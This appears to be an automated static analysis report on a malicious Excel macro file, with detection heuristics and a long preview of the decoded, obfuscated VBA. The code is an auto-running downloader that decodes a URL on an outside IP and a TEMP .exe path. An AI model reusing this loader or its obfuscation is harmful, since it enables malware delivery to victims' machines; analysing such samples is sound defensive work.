Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 71fbb660463658b2…

MALICIOUS

Office (OLE)

79.0 KB Created: 1996-10-08 23:32:33 Authoring application: Microsoft Excel First seen: 2015-01-15
MD5: c12819787eb0d5949a507b50ab1d18cb SHA-1: 6240456e499020ccca4122738fc26ec8dd30d31e SHA-256: 71fbb660463658b2b4d1da37286d66eba65c9732bd2c1ce1a4834071eca03451
306 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains obfuscated VBA macros, including an AutoOpen and Workbook_Open event, which are designed to execute automatically. The script utilizes the URLDownloadToFileA API to download a payload from a remote source, indicating an Ingress Tool Transfer attack pattern. The VBA code is heavily obfuscated, making it difficult to determine the exact URL or final payload without further dynamic analysis.

Heuristics 10

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set nvVhjkkj = CreateObject(v67fYKdf("5368656C6C2E4170706C69636174696F6E"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set nvVhjkkj = CreateObject(v67fYKdf("5368656C6C2E4170706C69636174696F6E"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        mBHJBkd = Environ(v67fYKdf("54454D50")) & v67fYKdf("5C3156324D555932585759534658512E657865")
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30533 bytes
SHA-256: 954aeb1d0c1ac7acda222a6f171a4ba23ff245df696d48c12c50ade70a2b5c59
Detection
ClamAV: No threats found
Obfuscation or payload: likely
390 of 598 identifiers look randomly generated (e.g. 'dPTthfZroKhFL') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If Win64 Then
    Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
ByVal UUQCES As String, ByVal VKDDKH As String, ByVal XXRYIY As Long, _
ByVal RPBFSI As Long) As Long
#Else
    Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
ByVal UUQCES As String, ByVal VKDDKH As String, ByVal XXRYIY As Long, _
ByVal RPBFSI As Long) As Long
#End If

Public Function v67fYKdf(ByVal jYsjaoyh As String) As String
For SVlGHRbVzOiB = 1 To Len(jYsjaoyh) Step 2
TFhDPe = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(jYsjaoyh, SVlGHRbVzOiB, 2)))
dPTthfZroKhFL = dPTthfZroKhFL & TFhDPe
Next SVlGHRbVzOiB
v67fYKdf = dPTthfZroKhFL
End Function

Sub nvfvyIHKJdd()
Dim lzHIsdqR, BCvevIex, RKycQeMf As String
Dim RAoYjTmX, bZlKPOKC, mEEttFhB As String
Dim YhELWnqv, ZjDtgRIb, cjVjOOyn As String
YhELWnqv = v67fYKdf("202020202020202020202043584A414755202020202020202020202020202020")
ZjDtgRIb = LTrim(YhELWnqv)
cjVjOOyn = RTrim(ZjDtgRIb)

RAoYjTmX = v67fYKdf("2020202020202020202020575A55574E4F202020202020202020202020202020")
Dim bAmqdPFS, rxeTbtTR, OlPNDncw As String
bAmqdPFS = v67fYKdf("20202020202020202020204D4D58434451202020202020202020202020202020")
rxeTbtTR = LTrim(bAmqdPFS)
OlPNDncw = RTrim(rxeTbtTR)

bZlKPOKC = LTrim(RAoYjTmX)
Dim pQJdBhlt, SCyyOSeb, aDsPFvgi As String
pQJdBhlt = v67fYKdf("20202020202020202020205A534E5A4251202020202020202020202020202020")
SCyyOSeb = LTrim(pQJdBhlt)
aDsPFvgi = RTrim(SCyyOSeb)

mEEttFhB = RTrim(bZlKPOKC)

Dim MGKFwpzv, KnwAlsIC, tYiRXBQi As String
MGKFwpzv = v67fYKdf("2020202020202020202020575950524255202020202020202020202020202020")
KnwAlsIC = LTrim(MGKFwpzv)
tYiRXBQi = RTrim(KnwAlsIC)

lzHIsdqR = v67fYKdf("20202020202020202020204B55554F5342202020202020202020202020202020")
Dim blHFYGlF, lOYbxXIk, VRgMPkbp As String
Dim ZgNCrqMb, chpovhkA, ljlmKlGZ As String
ZgNCrqMb = v67fYKdf("20202020202020202020204D575A454C42202020202020202020202020202020")
chpovhkA = LTrim(ZgNCrqMb)
ljlmKlGZ = RTrim(chpovhkA)

blHFYGlF = v67fYKdf("2020202020202020202020414E51575159202020202020202020202020202020")
Dim PQCHpzJJ, ZzDANoym, iCwXdEVs As String
PQCHpzJJ = v67fYKdf("2020202020202020202020554F47584E53202020202020202020202020202020")
ZzDANoym = LTrim(PQCHpzJJ)
iCwXdEVs = RTrim(ZzDANoym)

lOYbxXIk = LTrim(blHFYGlF)
Dim tVQggnWA, lFHLmsup, IRXxnClK As String
tVQggnWA = v67fYKdf("20202020202020202020204B494B574B43202020202020202020202020202020")
lFHLmsup = LTrim(tVQggnWA)
IRXxnClK = RTrim(lFHLmsup)

VRgMPkbp = RTrim(lOYbxXIk)

Dim UzqXLFBN, LoCBmZeq, JLnQlRIO As String
UzqXLFBN = v67fYKdf("202020202020202020202047444D555058202020202020202020202020202020")
LoCBmZeq = LTrim(UzqXLFBN)
JLnQlRIO = RTrim(LoCBmZeq)

BCvevIex = LTrim(lzHIsdqR)
Dim ARotwZZf, HlfInfFX, rpldYNNR As String
Dim EDmKEEGh, bFRrVIdj, mFFhlSPl As String
EDmKEEGh = v67fYKdf("202020202020202020202057495341594F202020202020202020202020202020")
bFRrVIdj = LTrim(EDmKEEGh)
mFFhlSPl = RTrim(bFRrVIdj)

ARotwZZf = v67fYKdf("2020202020202020202020455652485742202020202020202020202020202020")
Dim kbXlmpwl, CmRFUTds, HQmbvSZG As String
kbXlmpwl = v67fYKdf("202020202020202020202043454650594A202020202020202020202020202020")
CmRFUTds = LTrim(kbXlmpwl)
HQmbvSZG = RTrim(CmRFUTds)

HlfInfFX = LTrim(ARotwZZf)
Dim dxaSdqRS, AduhlXHm, rcwpzlvF As String
dxaSdqRS = v67fYKdf("2020202020202020202020584D41554A47202020202020202020202020202020")
AduhlXHm = LTrim(dxaSdqRS)
rcwpzlvF = RTrim(AduhlXHm)

rpldYNNR = RTrim(HlfInfFX)

Dim SnBUtkrX, VYQPYyuu, CkgcRiDT As String
SnBUtkrX = v67fYKdf("20202020202020202020204A42444E4851202020202020202020202020202020")
VYQPYyuu = LTrim(SnBUtkrX)
CkgcRiDT = RTrim(VYQPYyuu)

RKycQeMf = RTrim(BCvevIex)

Dim zHWHoLPK, gXULPUFe, dUqYIOlZ As String
Dim YEIcBitF, AEKOldZG, xReWDjNH As String
YEIcBitF = v67fYKdf("202020202020202020202058454C4A4A56202020202020202020202020202020")
AEKOldZG = LTrim(YEIcBitF)
xReWDjNH = RTrim(AEKOldZG)

zHWHoLPK = v67fYKdf("2020202020202020202020425953544B56202020202020202020202020202020")
Dim HPMqduDv, wTZYbARh, aApaSCxi As String
HPMqduDv = v67fYKdf("202020202020202020202045564F564458202020202020202020202020202020")
wTZYbARh = LTrim(HPMqduDv)
aApaSCxi = RTrim(wTZYbARh)

gXULPUFe = LTrim(zHWHoLPK)
Dim PDcSeNta, BEZhoQjO, AGJpKoBr As String
PDcSeNta = v67fYKdf("2020202020202020202020495A51555350202020202020202020202020202020")
BEZhoQjO = LTrim(PDcSeNta)
AGJpKoBr = RTrim(BEZhoQjO)

dUqYIOlZ = RTrim(gXULPUFe)

Dim tNkbswKa, jyrZFpXs, ZsHThCBx As String
tNkbswKa = v67fYKdf("20202020202020202020204E5143584D44202020202020202020202020202020")
jyrZFpXs = LTrim(tNkbswKa)
ZsHThCBx = RTrim(jyrZFpXs)

rRRfyhjk
End Sub
Sub AutoOpen()
Dim HJtjSRmM, tYpMKhYZ, UKvFADgX As String
Dim HhezAiPS, QhdfXsiD, UjxbjjTF As String
Dim jzWfbjVY, detbMmwU, iegQgbLI As String
jzWfbjVY = v67fYKdf("202020202020202020202047474E53545A202020202020202020202020202020")
detbMmwU = LTrim(jzWfbjVY)
iegQgbLI = RTrim(detbMmwU)

HhezAiPS = v67fYKdf("2020202020202020202020415845595443202020202020202020202020202020")
Dim blqQHOJE, tgLyerIw, Ppnnhbbf As String
blqQHOJE = v67fYKdf("202020202020202020202057484A514150202020202020202020202020202020")
tgLyerIw = LTrim(blqQHOJE)
Ppnnhbbf = RTrim(tgLyerIw)

QhdfXsiD = LTrim(HhezAiPS)
Dim eliUFNuo, kodqLQlJ, MlAtZozs As String
eliUFNuo = v67fYKdf("20202020202020202020204A4B52525250202020202020202020202020202020")
kodqLQlJ = LTrim(eliUFNuo)
MlAtZozs = RTrim(kodqLQlJ)

UjxbjjTF = RTrim(QhdfXsiD)

Dim OsdRtVhB, UCHjeNWc, LeZlTFVI As String
OsdRtVhB = v67fYKdf("2020202020202020202020484A4D564841202020202020202020202020202020")
UCHjeNWc = LTrim(OsdRtVhB)
LeZlTFVI = RTrim(UCHjeNWc)

HJtjSRmM = v67fYKdf("202020202020202020202051525A584542202020202020202020202020202020")
Dim AjgDBjvK, ydXisShO, BZDLzLTd As String
Dim MhJGlRGI, GjazFOdP, QjsfoDPQ As String
MhJGlRGI = v67fYKdf("20202020202020202020204558564E5A4F202020202020202020202020202020")
GjazFOdP = LTrim(MhJGlRGI)
QjsfoDPQ = RTrim(GjazFOdP)

AjgDBjvK = v67fYKdf("20202020202020202020205A42434D574D202020202020202020202020202020")
Dim DuKAFiKS, YcOdTguh, qljUKOBu As String
DuKAFiKS = v67fYKdf("2020202020202020202020494D53464847202020202020202020202020202020")
YcOdTguh = LTrim(DuKAFiKS)
qljUKOBu = RTrim(YcOdTguh)

ydXisShO = LTrim(AjgDBjvK)
Dim lHiVhwjG, WzxKBLNo, pKZwtRsJ As String
lHiVhwjG = v67fYKdf("2020202020202020202020594749575546202020202020202020202020202020")
WzxKBLNo = LTrim(lHiVhwjG)
pKZwtRsJ = RTrim(WzxKBLNo)

BZDLzLTd = RTrim(ydXisShO)

Dim hbZCQxhu, fpyOOvWT, bhKSsdBH As String
hbZCQxhu = v67fYKdf("202020202020202020202059565A495544202020202020202020202020202020")
fpyOOvWT = LTrim(hbZCQxhu)
bhKSsdBH = RTrim(fpyOOvWT)

tYpMKhYZ = LTrim(HJtjSRmM)
Dim MZRgeAlz, xFKoSBzw, PRVSKPfr As String
Dim MnawUeyr, HnqUziEt, QAmLxsay As String
MnawUeyr = v67fYKdf("202020202020202020202052415A474F57202020202020202020202020202020")
HnqUziEt = LTrim(MnawUeyr)
QAmLxsay = RTrim(HnqUziEt)

MZRgeAlz = v67fYKdf("2020202020202020202020444347575356202020202020202020202020202020")
Dim VlXlbPvc, EgRFDyhh, oqsoNnii As String
VlXlbPvc = v67fYKdf("2020202020202020202020464146504952202020202020202020202020202020")
EgRFDyhh = LTrim(VlXlbPvc)
oqsoNnii = RTrim(EgRFDyhh)

xFKoSBzw = LTrim(MZRgeAlz)
Dim XVYsCDzC, qFSGzbfT, DNaOQXCB As String
XVYsCDzC = v67fYKdf("20202020202020202020204649484C4F52202020202020202020202020202020")
qFSGzbfT = LTrim(XVYsCDzC)
DNaOQXCB = RTrim(qFSGzbfT)

PRVSKPfr = RTrim(xFKoSBzw)

Dim HSryvMjv, zKHoaIlO, NZlWBPNi As String
HSryvMjv = v67fYKdf("20202020202020202020204C5248534E42202020202020202020202020202020")
zKHoaIlO = LTrim(HSryvMjv)
NZlWBPNi = RTrim(zKHoaIlO)

UKvFADgX = RTrim(tYpMKhYZ)

Dim NiGelqnw, sfAyMBRY, vlfoxSUJ As String
Dim IiJfDhpH, EiabimUJ, voqQAvtK As String
IiJfDhpH = v67fYKdf("2020202020202020202020434B4351515A202020202020202020202020202020")
EiabimUJ = LTrim(IiJfDhpH)
voqQAvtK = RTrim(EiabimUJ)

NiGelqnw = v67fYKdf("202020202020202020202056474F514355202020202020202020202020202020")
Dim XWSfhqUm, nHmIETbd, ySzrHajr As String
XWSfhqUm = v67fYKdf("2020202020202020202020545254424756202020202020202020202020202020")
nHmIETbd = LTrim(XWSfhqUm)
ySzrHajr = RTrim(nHmIETbd)

sfAyMBRY = LTrim(NiGelqnw)
Dim PqPofMXV, BaGSlTiY, AdrYzeJN As String
PqPofMXV = v67fYKdf("202020202020202020202049464B4B4A55202020202020202020202020202020")
BaGSlTiY = LTrim(PqPofMXV)
AdrYzeJN = RTrim(BaGSlTiY)

vlfoxSUJ = RTrim(sfAyMBRY)

Dim mmggNImA, YnakZxvQ, KYDmrpAX As String
mmggNImA = v67fYKdf("20202020202020202020204958574A464C202020202020202020202020202020")
YnakZxvQ = LTrim(mmggNImA)
KYDmrpAX = RTrim(YnakZxvQ)

    nvfvyIHKJdd
End Sub
Sub Workbook_Open()
Dim yREXSZvr, lPhBgjZg, RHzzHrTb As String
Dim nOKqDQDJ, xPzxiGqK, kQdIZMIL As String
Dim vevEvTwj, lrIHLOLk, htLzfFjl As String
vevEvTwj = v67fYKdf("20202020202020202020204B48464D524F202020202020202020202020202020")
lrIHLOLk = LTrim(vevEvTwj)
htLzfFjl = RTrim(lrIHLOLk)

nOKqDQDJ = v67fYKdf("20202020202020202020204D5956505153202020202020202020202020202020")
Dim mKkPGWYJ, BDBtzhcO, ROUnhPgn As String
mKkPGWYJ = v67fYKdf("20202020202020202020204B5A57504148202020202020202020202020202020")
BDBtzhcO = LTrim(mKkPGWYJ)
ROUnhPgn = RTrim(BDBtzhcO)

xPzxiGqK = LTrim(nOKqDQDJ)
Dim zbxPGkVi, jhZgMepH, LnJiEnLp As String
zbxPGkVi = v67fYKdf("20202020202020202020204A575159544C202020202020202020202020202020")
jhZgMepH = LTrim(zbxPGkVi)
LnJiEnLp = RTrim(jhZgMepH)

kQdIZMIL = RTrim(xPzxiGqK)

Dim YNaVHsdL, LyDalNhr, tsbrMDlg As String
YNaVHsdL = v67fYKdf("202020202020202020202057584C485641202020202020202020202020202020")
LyDalNhr = LTrim(YNaVHsdL)
tsbrMDlg = RTrim(LyDalNhr)

yREXSZvr = v67fYKdf("2020202020202020202020414145555548202020202020202020202020202020")
Dim tAwTylwg, PxrNlFdu, gkQmYotV As String
Dim QPMMlHnf, UQruFWVh, ZQfloBwj As String
QPMMlHnf = v67fYKdf("2020202020202020202020594C4B455955202020202020202020202020202020")
UQruFWVh = LTrim(QPMMlHnf)
ZQfloBwj = RTrim(UQruFWVh)

tAwTylwg = v67fYKdf("20202020202020202020204A5241485657202020202020202020202020202020")
Dim kTDKYtbl, CnwdMbks, GJsVPYYG As String
kTDKYtbl = v67fYKdf("2020202020202020202020435950585346202020202020202020202020202020")
CnwdMbks = LTrim(kTDKYtbl)
GJsVPYYG = RTrim(CnwdMbks)

PxrNlFdu = LTrim(tAwTylwg)
Dim vePTnxxz, afBbpMyx, hrtegTkt As String
vePTnxxz = v67fYKdf("20202020202020202020204F5743535346202020202020202020202020202020")
afBbpMyx = LTrim(vePTnxxz)
hrtegTkt = RTrim(afBbpMyx)

gkQmYotV = RTrim(PxrNlFdu)

Dim XjXsUwif, MabVTcDD, uusaisJV As String
XjXsUwif = v67fYKdf("2020202020202020202020584D53475444202020202020202020202020202020")
MabVTcDD = LTrim(XjXsUwif)
uusaisJV = RTrim(MabVTcDD)

lPhBgjZg = LTrim(yREXSZvr)
Dim ErHHhSwx, KLWlwcUt, mtpftWhv As String
Dim CHSdzusG, KJXvxqOJ, FJyQJhyK As String
CHSdzusG = v67fYKdf("2020202020202020202020544F57514C43202020202020202020202020202020")
KJXvxqOJ = LTrim(CHSdzusG)
FJyQJhyK = RTrim(KJXvxqOJ)

ErHHhSwx = v67fYKdf("20202020202020202020205450574F4B45202020202020202020202020202020")
Dim XXyxboGl, AJDJSEYs, ySwsBVve As String
XXyxboGl = v67fYKdf("2020202020202020202020595247454C43202020202020202020202020202020")
AJDJSEYs = LTrim(XXyxboGl)
ySwsBVve = RTrim(AJDJSEYs)

KLWlwcUt = LTrim(ErHHhSwx)
Dim UXxQUatq, XSZgDSjK, vVJoxpNd As String
UXxQUatq = v67fYKdf("2020202020202020202020555551594151202020202020202020202020202020")
XSZgDSjK = LTrim(UXxQUatq)
vVJoxpNd = RTrim(XSZgDSjK)

mtpftWhv = RTrim(KLWlwcUt)

Dim TIdYGjCM, JFBPjrat, GbZxgyYR As String
TIdYGjCM = v67fYKdf("202020202020202020202046454D4E4950202020202020202020202020202020")
JFBPjrat = LTrim(TIdYGjCM)
GbZxgyYR = RTrim(JFBPjrat)

RHzzHrTb = RTrim(lPhBgjZg)

Dim DgSYJZZT, BmvOljTH, qnqSWtOa As String
Dim sllagppB, ulZfOfUN, emSbrlta As String
sllagppB = v67fYKdf("2020202020202020202020535651594256202020202020202020202020202020")
ulZfOfUN = LTrim(sllagppB)
emSbrlta = RTrim(ulZfOfUN)

DgSYJZZT = v67fYKdf("202020202020202020202042455349424F202020202020202020202020202020")
Dim yZylcZfb, QcDDPVyk, jlwiClCo As String
yZylcZfb = v67fYKdf("2020202020202020202020514D465A4B55202020202020202020202020202020")
QcDDPVyk = LTrim(yZylcZfb)
jlwiClCo = RTrim(QcDDPVyk)

BmvOljTH = LTrim(DgSYJZZT)
Dim nvHeDLEl, GgXYLRGa, knqnZzvm As String
nvHeDLEl = v67fYKdf("2020202020202020202020455757475255202020202020202020202020202020")
GgXYLRGa = LTrim(nvHeDLEl)
knqnZzvm = RTrim(GgXYLRGa)

qnqSWtOa = RTrim(BmvOljTH)

Dim SiPaKXon, VfxrmPsQ, XBNJlSJp As String
SiPaKXon = v67fYKdf("20202020202020202020204A475950504E202020202020202020202020202020")
VfxrmPsQ = LTrim(SiPaKXon)
XBNJlSJp = RTrim(VfxrmPsQ)

    nvfvyIHKJdd
End Sub
Sub rRRfyhjk()
Dim SpdHphXr, IqxzEllt, EsYfVvJy As String
Dim vaShUBYP, lzCAzrrQ, geuFxiAS As String
Dim cylKGipS, lyZrpdUD, guDhRjtF As String
cylKGipS = v67fYKdf("20202020202020202020204B4A51415356202020202020202020202020202020")
lyZrpdUD = LTrim(cylKGipS)
guDhRjtF = RTrim(lyZrpdUD)

vaShUBYP = v67fYKdf("20202020202020202020204B475744494C202020202020202020202020202020")
Dim iLhPuNBU, apumCugq, YtFHqZyz As String
iLhPuNBU = v67fYKdf("20202020202020202020204C44564B4253202020202020202020202020202020")
apumCugq = LTrim(iLhPuNBU)
YtFHqZyz = RTrim(apumCugq)

lzCAzrrQ = LTrim(vaShUBYP)
Dim jsYaqMKX, TzQTjTeR, idNbNeSB As String
jsYaqMKX = v67fYKdf("2020202020202020202020564748464855202020202020202020202020202020")
TzQTjTeR = LTrim(jsYaqMKX)
idNbNeSB = RTrim(TzQTjTeR)

geuFxiAS = RTrim(lzCAzrrQ)

Dim OEoCRUGX, WOWNumKu, uHUeIoXj As String
OEoCRUGX = v67fYKdf("2020202020202020202020435143484B51202020202020202020202020202020")
WOWNumKu = LTrim(OEoCRUGX)
uHUeIoXj = RTrim(WOWNumKu)

SpdHphXr = v67fYKdf("20202020202020202020204E4C494E5841202020202020202020202020202020")
Dim kexdDgIq, CBrUaObe, ZMSzfrjM As String
Dim axGMdTWK, CxByUPlL, KcokzFHM As String
axGMdTWK = v67fYKdf("20202020202020202020205542435A564F202020202020202020202020202020")
CxByUPlL = LTrim(axGMdTWK)
KcokzFHM = RTrim(CxByUPlL)

kexdDgIq = v67fYKdf("20202020202020202020204A4943564E4E202020202020202020202020202020")
Dim lHuDGCHS, BQGiekIE, RYxZhDbw As String
lHuDGCHS = v67fYKdf("202020202020202020202042534D4D4850202020202020202020202020202020")
BQGiekIE = LTrim(lHuDGCHS)
RYxZhDbw = RTrim(BQGiekIE)

CBrUaObe = LTrim(kexdDgIq)
Dim zMUlxXrQ, RyXdylDt, LXaJstBD As String
zMUlxXrQ = v67fYKdf("2020202020202020202020564857595141202020202020202020202020202020")
RyXdylDt = LTrim(zMUlxXrQ)
LXaJstBD = RTrim(RyXdylDt)

ZMSzfrjM = RTrim(CBrUaObe)

Dim eqmxuAtE, zWVptEQe, faPdYjFd As String
eqmxuAtE = v67fYKdf("20202020202020202020204E4A56574A48202020202020202020202020202020")
zWVptEQe = LTrim(eqmxuAtE)
faPdYjFd = RTrim(zWVptEQe)

IqxzEllt = LTrim(SpdHphXr)
Dim lkEjVGPU, WZKqUdlz, plCFSVTP As String
Dim pxHqUVJP, tcNxzzgQ, DeakKmga As String
pxHqUVJP = v67fYKdf("202020202020202020202052474C5A4C4E202020202020202020202020202020")
tcNxzzgQ = LTrim(pxHqUVJP)
DeakKmga = RTrim(tcNxzzgQ)

lkEjVGPU = v67fYKdf("2020202020202020202020595A4C525656202020202020202020202020202020")
Dim BsSLdYus, EilfnzVe, oezODxHW As String
BsSLdYus = v67fYKdf("202020202020202020202055535447444F202020202020202020202020202020")
EilfnzVe = LTrim(BsSLdYus)
oezODxHW = RTrim(EilfnzVe)

WZKqUdlz = LTrim(lkEjVGPU)
Dim VTAipJxX, dwUSgZIR, GYXYVNkV As String
VTAipJxX = v67fYKdf("20202020202020202020204756464B4759202020202020202020202020202020")
dwUSgZIR = LTrim(VTAipJxX)
GYXYVNkV = RTrim(dwUSgZIR)

plCFSVTP = RTrim(WZKqUdlz)

Dim wrcQvwds, lGNvxcKP, TWSAVsXW As String
wrcQvwds = v67fYKdf("20202020202020202020204F44425A4E44202020202020202020202020202020")
lGNvxcKP = LTrim(wrcQvwds)
TWSAVsXW = RTrim(lGNvxcKP)

EsYfVvJy = RTrim(IqxzEllt)

Dim fEVozXBu, sgAXNVTY, cmfBZSIH As String
Dim jgNMlWry, shpyDBAu, ujlkirBi As String
jgNMlWry = v67fYKdf("202020202020202020202046585A5A414A202020202020202020202020202020")
shpyDBAu = LTrim(jgNMlWry)
ujlkirBi = RTrim(shpyDBAu)

fEVozXBu = v67fYKdf("2020202020202020202020544E4446474E202020202020202020202020202020")
Dim XCvAiJca, GfgdVVSR, loCUqlEx As String
XCvAiJca = v67fYKdf("202020202020202020202053475A464255202020202020202020202020202020")
GfgdVVSR = LTrim(XCvAiJca)
loCUqlEx = RTrim(GfgdVVSR)

sgAXNVTY = LTrim(fEVozXBu)
Dim TLDBJzFv, MOKZCFNu, ibVyzbsG As String
TLDBJzFv = v67fYKdf("202020202020202020202054544C445951202020202020202020202020202020")
MOKZCFNu = LTrim(TLDBJzFv)
ibVyzbsG = RTrim(MOKZCFNu)

cmfBZSIH = RTrim(sgAXNVTY)

Dim GorOEFPQ, agHStZDX, BBlveRlm As String
GorOEFPQ = v67fYKdf("20202020202020202020204C4848414558202020202020202020202020202020")
agHStZDX = LTrim(GorOEFPQ)
BBlveRlm = RTrim(agHStZDX)

    KHVnjbOd = v67fYKdf("687474703A2F2F3231332E392E39352E35383A383038302F6D616E732F706F70732E706870")
Dim sTqUhxBM, JnLzZJJQ, xxncGsIE As String
Dim XJsPwlQV, KJxXHvoN, DKYiqEYa As String
Dim lTjQeWwR, fTnCxNLT, pYPoJrjU As String
lTjQeWwR = v67fYKdf("2020202020202020202020475250434C4A202020202020202020202020202020")
fTnCxNLT = LTrim(lTjQeWwR)
pYPoJrjU = RTrim(fTnCxNLT)

XJsPwlQV = v67fYKdf("2020202020202020202020544F49434552202020202020202020202020202020")
Dim tlJuJJKt, PgvZrsPX, EThdMlBb As String
tlJuJJKt = v67fYKdf("20202020202020202020204A4E53524A55202020202020202020202020202020")
PgvZrsPX = LTrim(tlJuJJKt)
EThdMlBb = RTrim(PgvZrsPX)

KJxXHvoN = LTrim(XJsPwlQV)
Dim BUupISUn, fcdDFcLo, ZfkjMotJ As String
BUupISUn = v67fYKdf("20202020202020202020204742454B5A45202020202020202020202020202020")
fcdDFcLo = LTrim(BUupISUn)
ZfkjMotJ = RTrim(fcdDFcLo)

DKYiqEYa = RTrim(KJxXHvoN)

Dim PqtPJcSM, CjJDlqHt, oxEHWBLh As String
PqtPJcSM = v67fYKdf("2020202020202020202020484A48415046202020202020202020202020202020")
CjJDlqHt = LTrim(PqtPJcSM)
oxEHWBLh = RTrim(CjJDlqHt)

sTqUhxBM = v67fYKdf("202020202020202020202046584A4F4645202020202020202020202020202020")
Dim lIlMyCya, qVoTXrmR, HMJNovdx As String
Dim HQVhojlS, SQiAEmHD, USkFVbfF As String
HQVhojlS = v67fYKdf("202020202020202020202041554144585A202020202020202020202020202020")
SQiAEmHD = LTrim(HQVhojlS)
USkFVbfF = RTrim(SQiAEmHD)

lIlMyCya = v67fYKdf("2020202020202020202020564942435650202020202020202020202020202020")
Dim BsqEljRQ, RiKVTQxE, oenlKufw As String
BsqEljRQ = v67fYKdf("202020202020202020202055534A554841202020202020202020202020202020")
RiKVTQxE = LTrim(BsqEljRQ)
oenlKufw = RTrim(RiKVTQxE)

qVoTXrmR = LTrim(lIlMyCya)
Dim boKAZJST, FBVyUZVf, jqdNjNUU As String
boKAZJST = v67fYKdf("20202020202020202020204544585A5659202020202020202020202020202020")
FBVyUZVf = LTrim(boKAZJST)
jqdNjNUU = RTrim(FBVyUZVf)

HMJNovdx = RTrim(qVoTXrmR)

Dim bTtZunyZ, QQJTOgoD, VJEIqedV As String
bTtZunyZ = v67fYKdf("202020202020202020202051414A434A47202020202020202020202020202020")
QQJTOgoD = LTrim(bTtZunyZ)
VJEIqedV = RTrim(QQJTOgoD)

JnLzZJJQ = LTrim(sTqUhxBM)
Dim MxYRknco, odQoxdOJ, ceJSZVWb As String
Dim xilZOTTu, kiZFrPei, doSacFno As String
xilZOTTu = v67fYKdf("20202020202020202020204A4B514C4F4F202020202020202020202020202020")
kiZFrPei = LTrim(xilZOTTu)
doSacFno = RTrim(kiZFrPei)

MxYRknco = v67fYKdf("2020202020202020202020444D48454C56202020202020202020202020202020")
Dim WZbvGWZu, FLhpYzKP, lFVRLcOZ As String
WZbvGWZu = v67fYKdf("202020202020202020202053544544484F202020202020202020202020202020")
FLhpYzKP = LTrim(WZbvGWZu)
lFVRLcOZ = RTrim(FLhpYzKP)

odQoxdOJ = LTrim(MxYRknco)
Dim TLdvCZlW, irAlYNzg, wMYXQQfC As String
TLdvCZlW = v67fYKdf("202020202020202020202053485149434A202020202020202020202020202020")
irAlYNzg = LTrim(TLdvCZlW)
wMYXQQfC = RTrim(irAlYNzg)

ceJSZVWb = RTrim(odQoxdOJ)

Dim oZKidLvD, wIRqGUAV, UFjfjmRo As String
oZKidLvD = v67fYKdf("2020202020202020202020505046574F4B202020202020202020202020202020")
wIRqGUAV = LTrim(oZKidLvD)
UFjfjmRo = RTrim(wIRqGUAV)

xxncGsIE = RTrim(JnLzZJJQ)

Dim vfhwyGOU, PlzvUZDK, OtTsTRlj As String
Dim ejqwlqgp, VjmUDgSs, MkRLilpd As String
ejqwlqgp = v67fYKdf("2020202020202020202020495855484142202020202020202020202020202020")
VjmUDgSs = LTrim(ejqwlqgp)
MkRLilpd = RTrim(VjmUDgSs)

vfhwyGOU = v67fYKdf("2020202020202020202020504B584D4A58202020202020202020202020202020")
Dim jfBnYsGk, WpUWLYYp, FbcYOFXD As String
jfBnYsGk = v67fYKdf("202020202020202020202043564846514A202020202020202020202020202020")
WpUWLYYp = LTrim(jfBnYsGk)
FbcYOFXD = RTrim(WpUWLYYp)

PlzvUZDK = LTrim(vfhwyGOU)
Dim nNRIsYMU, rsLZWrZz, kzVyNGFP As String
nNRIsYMU = v67fYKdf("2020202020202020202020504D4C44544C202020202020202020202020202020")
rsLZWrZz = LTrim(nNRIsYMU)
kzVyNGFP = RTrim(rsLZWrZz)

OtTsTRlj = RTrim(PlzvUZDK)

Dim kdSelOpU, hChGjQHu, AezKKvLj As String
kdSelOpU = v67fYKdf("2020202020202020202020554B5551434C202020202020202020202020202020")
hChGjQHu = LTrim(kdSelOpU)
AezKKvLj = RTrim(hChGjQHu)

    mBHJBkd = Environ(v67fYKdf("54454D50")) & v67fYKdf("5C3156324D555932585759534658512E657865")
Dim RHENKqif, uzKMAIJU, wKCcUleh As String
Dim RoDBAORP, noCqWDzQ, wpuxhKvS As String
Dim yMSZgtsr, aWCFOoOt, CXuNrfuu As String
yMSZgtsr = v67fYKdf("20202020202020202020204F51574C4258202020202020202020202020202020")
